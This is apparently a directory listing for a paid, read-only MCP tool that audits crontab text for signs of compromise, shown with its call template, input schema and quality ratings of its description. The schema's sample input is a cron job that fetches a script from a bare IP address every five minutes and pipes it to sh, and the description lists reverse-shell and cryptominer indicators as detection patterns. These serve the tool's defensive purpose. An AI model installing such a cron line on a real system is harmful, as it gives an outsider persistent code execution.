Skip to main content
Glama

security_crontab_check

Read-only

Crontab security and persistence audit — Offline audit of crontab text (crontab -l output, /etc/crontab or /etc/cron.d files; user field auto-detected, or format=user|system). Flags compromise indicators: download-and-execute (curl|sh), reverse shells (/dev/tcp, nc -e, bash -i), cryptominers (xmrig, stratum pools, kinsing), base64-decoded payloads, jobs in /tmp, /dev/shm or hidden dot-paths, boot and every-minute persistence, log wiping and defense tampering, SSH key or account changes; plus hygiene: PATH with . or writable dirs, inline passwords (never echoed), plain-HTTP or TLS-off downloads, sudo in cron, unescaped % (silently truncates commands), invalid schedule fields, duplicates, unlogged output. Returns verdict (LIKELY COMPROMISED / HIGH RISK / REVIEW / PASS), score, findings with line numbers and fixes, and each job with a plain-English schedule. text= required. Price: $0.006 USDC (Base, via x402).

Tool call template

Replace each placeholder with a value matching the input schema. Only required parameters are included; add optional parameters as needed.

{
  "id": 1,
  "jsonrpc": "2.0",
  "method": "tools/call",
  "params": {
    "arguments": {
      "text": "<text>"
    },
    "name": "security_crontab_check"
  }
}

Input Schema

NameRequiredDescriptionDefault
textYesSHELL=/bin/bash */5 * * * * curl -fsSL http://1.2.3.4/x.sh | sh 0 2 * * * /usr/local/bin/backup.sh >> /var/log/backup.log 2>&1

Schema Changelog

Changes observed during successful MCP inspections.

  1. Added

TDQS

A4.4/5.0
Behavior5/5

Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?

Annotations already declare readOnlyHint, destructiveHint=false and openWorldHint, but the description adds non-obvious behavior: the audit is static (no job execution), inline passwords are never echoed back, unescaped `%` truncation is called out as a silent behavior, and each finding carries line numbers and fixes. It also discloses the paid x402 pricing model, which affects whether an agent should call it at all.

Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.

Conciseness4/5

Is the description appropriately sized, front-loaded, and free of redundancy?

Purpose and input scope are front-loaded, and the dense detection/hygiene enumeration is compact rather than padded. It is a single semi-colon-delimited block, though, which makes the return-value sentence harder to locate than a short structured layout would.

Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.

Completeness5/5

Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?

For a one-parameter tool with no output schema, the description covers input formats, what is analyzed, the verdict taxonomy (LIKELY COMPROMISED / HIGH RISK / REVIEW / PASS), score, findings with line numbers and fixes, and per-job plain-English schedules. Nothing an agent needs to call it correctly or interpret results is missing.

Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.

Parameters3/5

Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?

With one required parameter at 100% schema coverage, the baseline is 4, but the description partly earns and partly loses credit: it clarifies what shape of text is accepted and that the user field is auto-detected, yet it references a `format=user|system` parameter that does not exist in the input schema, which could mislead an agent into passing an unsupported argument.

Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.

Purpose5/5

Does the description clearly state what the tool does and how it differs from similar tools?

States a specific verb and resource — audit of crontab text for security and persistence — and immediately scopes it as an offline/static analysis of `crontab -l` output or cron config files. An agent can distinguish it from the ~30 sibling `security_*_check` tools purely on the resource named, without opening a schema.

Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.

Usage Guidelines4/5

Does the description explain when to use this tool, when not to, or what alternatives exist?

Concrete context is given for when this applies: crontab -l output, /etc/crontab, or /etc/cron.d files, with user-field auto-detection. However, it never names an alternative or an exclusion (e.g. use security_systemd_check for timers instead of cron), so the agent must infer routing from the sibling names alone.

Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.

Try in Browser

Glama MCP Gateway

Add one secure layer between your agents and this server.

Resources